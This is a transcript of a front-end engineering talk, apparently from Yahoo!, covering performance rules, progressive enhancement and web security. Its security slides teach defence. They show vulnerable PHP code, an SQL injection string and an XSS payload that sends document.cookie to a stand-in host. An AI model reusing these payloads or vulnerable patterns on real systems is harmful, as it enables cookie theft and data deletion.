This document outlines three "creeds" or principles for front-end engineers according to Morgan Cheng. Creed I states that performance is a key feature and outlines best practices like minimizing HTTP requests and assets. Creed II discusses progressive enhancement and building web pages that degrade gracefully across browsers. Creed III states the importance of being paranoid about security vulnerabilities like SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF) by never trusting user input.

1. F2E’s Creeds Morgan Cheng

2. Yahoo 1994

3. Yahoo! 1995

4. Yahoo! 2000

5. First F2E Hired in 2001

6. Yahoo! 2002

7. Yahoo! 2006

8. Yahoo! 2011

9. More …

10. ~700 Frontend Engineers

11. Frontend Skill Set

12. Beyond Skill Set

13. F2E’s Creeds

14. Creed IPerformance is Feature

15. Creed IPerformance is FeaturePerformance is Key Feature

16. Slow Web Sites Won’t Win!

17. Time Spent on Frontend http://www.flickr.com/photos/mager/3267077089/

18. Frontend Optimization is Key to Website Performance

19. 14 Performance Best Practices Make fewer HTTP requests Use a CDN Add an Expires header Gzip components Put CSS at the top Move JS to the bottom Avoid CSS expressions Make JS and CSS external Reduce DNS lookups Minify JS Avoid redirects Remove duplicate scripts Turn off ETags Make AJAX cacheable and small

20. More … … Minimize DOM Operations Develop Smart Event Handlers Preload Components … http://developer.yahoo.com/performance/rules.html

21. Focus on Perceived Performance

22. Measure It!

23. Creed IIProgressive Enhancement

24. Web Layers Behavior Presentation Content

25. Browser World is Messy

26. Graded Browser Support http://developer.yahoo.com/yui/articles/gbs/

27. A-Graded Browsers

28. Unobtrusive JavaScript

29. What is Obtrusive JavaScript <input type=“text” name=“date” id=“data” onchange=“validateDate()” />

30. What is Unobtrusive JavaScript <input type=“text” name=“date” id=“date” /> document.getElementById(‘date’). .addEventListener(‘change’, validateDate);

31. Creed IIIBe Paranoid

32. The Web is So Vulnerable

33. What’s wrong with this Code? <?php … $sql = “DELETE * FROM users WHERE name = ‘” . $_POST[‘username’] . “’”; $result = mysql_query($sql); ?>

34. SQL Injection Attack <?php … $sql = “DELETE * FROM users WHERE name = ‘” . $_POST[‘username’] . “’”; $result = mysql_query($sql); ?> What if $_POST[’username’] is “x’ OR ‘1’=‘1” ?

35. What’s wrong with this Code? <div> You are referred from <?php echo $_GET[‘from’]; ?> </div>

36. XSS Attack <div> You are referred from <?php echo $_GET[‘from’]; ?> </div> What if the URL is “http://www.yahoo.com/?from=</div><script>document.location='http://www.eval.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

37. Your Cookie is Stolen <div> You are referred from </div><script>document.location='http://www.eval.com/cgi-bin/cookie.cgi? '%20+document.cookie</script> </div>

38. What’s wrong with this Code? <?php if (user_is_login()) { delete_something(); } ?>

39. CSRF Attack <?php if (user_is_login()) { delete_something(); } ?> The request might not be user’s intention

40. Attackers are Smart!

41. Don’t Trust User Input

42. Always Assume That Bad Guys Could Read Your Code

44. F2E’s Creeds Performance is Key Feature Progressive Enhancement Be Paranoid

45. Thanks